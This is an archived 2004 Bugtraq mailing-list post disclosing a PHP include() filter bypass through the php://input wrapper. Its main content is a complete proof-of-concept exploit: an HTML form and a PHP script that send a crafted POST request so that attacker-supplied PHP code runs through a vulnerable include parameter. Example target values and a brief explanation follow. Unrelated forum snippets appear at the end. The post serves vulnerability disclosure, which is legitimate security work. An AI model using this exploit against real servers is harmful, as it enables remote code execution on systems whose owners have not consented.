[PHP] include() bypassing filter with php://input

From: Himeur Nourredine (lostnoobs_at_security-challenge.com)
Date: 05/27/04

  • Next message: http-equiv_at_excite.com: "Re: Microsoft Internet Explorer ImageMap URL Spoof Vulnerability"
    Date: 27 May 2004 09:07:15 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    Informations :
    °°°°°°°°°°°°°°
    Website : http://www.php.net
    Version : PHP 3.0.13 =>
    Problem : Inlude() bypassing filter

    Proof of concept:
    °°°°°°°° Exploit °°°°°°°°°
    <------------ cut here ---------------->
    <form action="" methode="post" >
    target server : <input type="text" name="server" ><br>
    file : <input type="text" name="file" ><br>
    exec : <input type="text" name="cmd" ><br>
    <INPUT type="submit" value="send">
    </form>

    <?
    if($cmd){
    $message = "POST /".$file."php://input HTTP/1.1\r\n";
    $message .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
    $message .= "Accept-Language: fr\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "Accept-Encoding: deflate\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\r\n";
    $message .= "Host: ".$server."\r\n";
    $message .= "Content-length: ".strlen( $cmd )."\r\n";
    $message .= "Connection: Keep-Alive\r\n";
    $message .= "Cache-Control: no-cache\r\n";
    $message .= "\r\n";
    $message .= $cmd."\r\n";
    $fd = fsockopen( $server, 80 );
    fputs($fd,$message);
    while(!feof($fd)) {
    echo fgets($fd,1280);
    }
    fclose($fd);
    }
    ?>
    <------------ cut here ---------------->

    target server = "www.exemple.com"
    file = "index.php?page="
    exec = "<? phpinfo(); ?>"

    Explaination
    °°°°°°°°°°°°°°
    You can bypassing filter protection who parse http:// or ftp:// ...
    "php://input" allows to put data in the function include() by sending a request with code php in POST methode.

    For More details :
    °°°°°°°°°°°°°°
    http://fr2.php.net/manual/en/wrappers.php.php
    irc.fr.worldnet.net #s-c

    Nourredine Himeur

    www.security-challenge.com

    This vulnerability was found by Slythers but he's too shy for publish the vuln ;)

    greetz : mum , daddy , tcpteam , Nyx


  • Next message: http-equiv_at_excite.com: "Re: Microsoft Internet Explorer ImageMap URL Spoof Vulnerability"

    Relevant Pages

    • Re: Web Animation and Sound Advice Sought
      ... upon someone landing on my website, ... My blog program is a php program that makes use of a mysql database. ... linux (and the linux server supports all sorts of php). ... $500+ Premiere software -- at least on my first brief experimenting ...
      (misc.writing)
    • Re: Furthering my education in OOP - where/how can one learn professional skills?
      ... but I am not proud of the rather amateurish ... implement them in a website. ... is PHP the best language to use to learn and implement the full ... power of OOP? ...
      (comp.lang.php)
    • Re: [PHP] Evaluating a page in a different order
      ... I have a php page class that i use as a template for my website. ... The class includes the layout from ...
      (php.general)
    • Re: Got Delphi for PHP - first impressions
      ... Having exactly Delphi and PHP as my two main developer platforms, ... Delphi for PHP sounded at first as a something sent from heaven. ... It looks more like normal Windows apps. ... full fledged websites, having the look and feel as a website. ...
      (borland.public.delphi.non-technical)
    • Re: Need some ideas
      ... post to PHP related websites as well ... ... some have link directories related to programming & PHP ... You can put your website in your signiture. ... > helpful to developers but spreading the word via forums you actively ...
      (alt.php)